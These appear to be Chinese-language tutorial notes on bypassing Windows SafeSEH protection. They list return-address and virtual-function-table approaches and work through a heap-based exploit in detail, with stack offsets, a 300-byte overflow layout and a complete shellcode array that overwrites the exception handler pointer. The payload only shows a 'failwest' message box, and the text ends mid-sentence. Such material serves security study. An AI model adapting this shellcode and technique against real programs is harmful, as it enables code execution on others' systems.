本节所有关于绕过 SafeSEH 机制的讨论均不考虑 DEP 的影响。
攻击返回地址绕过 SafeSEH
利用虚函数绕过 SafeSEH
和上一章介绍的类似,通过攻击虚函数表来劫持程序流程,这个过程不涉及任何异常处理,SafeSEH 也就只是个摆设。
从堆中绕过 SafeSEH
程序中断前刚刚完成堆中空间的申请,此时寄存器 EAX 中存放着申请空间的首地址,所以 0x328b8也就是 shellcode 的首地址
被溢出的字符串起始位置为 0x0013FE8C
S.E.H 异常处理函数指针位于0x0013FFB0+4 的位置
所以我们使用 300 个字节就可以覆盖掉异常处理函数指针
布置 shellcode
将弹出“failwest”对话框的机器码代码放到最前面,然后是 128 个字节的 0x90 填充,最后在第 296~300 字节位置放上 shellcode 在堆中的起始地址 0x328B8,用来更改异常处理函数的指针。
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xB8\x28\x03\x00"//address of shellcode in heap
;
在0x328b8下断点,成功中断,说明成功绕过SafeSEH 转入 shellcode 执